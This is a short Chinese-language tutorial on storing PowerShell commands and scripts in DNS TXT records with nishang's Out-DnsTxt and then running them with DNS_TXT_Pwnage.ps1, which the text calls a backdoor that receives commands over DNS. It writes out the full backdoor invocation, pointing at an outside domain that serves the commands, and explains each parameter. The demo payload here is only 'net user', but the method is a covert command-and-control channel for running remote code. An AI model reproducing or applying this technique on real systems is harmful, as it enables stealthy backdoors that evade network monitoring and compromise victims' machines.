0x00简介
DNS TXT记录一般用来记录某个主机名或者域名设置的说明,在这里可以填写任何东西,长度限制255。绝大多数的TXT记录是用来做SPF记录(反垃圾邮件)。本篇文章主要介绍如何使用 nishang 通过创建TXT记录执行powershell脚本。当然,首先你要有一个域名。
0x01创建TXT记录
这里需要使用nishang中的一个脚本 OUT-DnsTxt 。
1.常见命令
因为常见命令比较短,所以可以直接添加到TXT记录中,如下图:
现在查看一下TXT记录:
可以看到记录已经成功添加了。
2.脚本
由于TXT记录长度限制为255,如果要添加一个脚本到记录里面,需要添加多个TXT记录。下面是一个例子,自己写了一个PSH脚本:
function Get-User { <# .SYNOPSIS Script to generate DNS TXT for a test. .DESCRIPTION Use this script to get user information. to be more big.. more big... big..Do one thing at a time, and do well.Keep on going never give up. .EXAMPLE PS > Get-User #> [CmdletBinding()] Param () net user }
使用Out-Dnstxt进行转换:
PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt
由于这个脚本比较小,所以只生产两行:
可以分别将这两行内容按顺序添加到 1.ps.domain.com到2.ps.domian.com中如下图:
查看TXT,可以看到内容都已经添加好了:
0x02 执行Powershell
添加完了TXT记录以后,通过 DNS_TXT_Pwnage.ps1 来执行这些脚本。
DNS_TXT_Pwnage.ps1 是一个通过DNS TXT来接收命令或者脚本的一个后门脚本
这里还需要添加两条记录,strat与stop,具体如下图:
1.执行命令
PS F:/DNS> . ./DNS_TXT_Pwnage.ps1 PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring start -commanddomain command.evi1cg.me -psstring test -psdomain xxx.evi1cg.me - Subdomains 1 -StopString stop
解释一下参数:
startdomain 为创建的 start.domain ,返回一个字符串; cmdstring 为任意输入的字符串; commanddomain 为创建的执行命令TXT记录的域名; psstring 为任意输入的字符串; psdomain 为创建的执行脚本TXT记录的域名或子域名 ; Subdomains 为执行脚本创建TXT记录的个数(如1.2中创建的脚本,该值为2); StopString 为任意输入的字符串。
新闻热点
疑难解答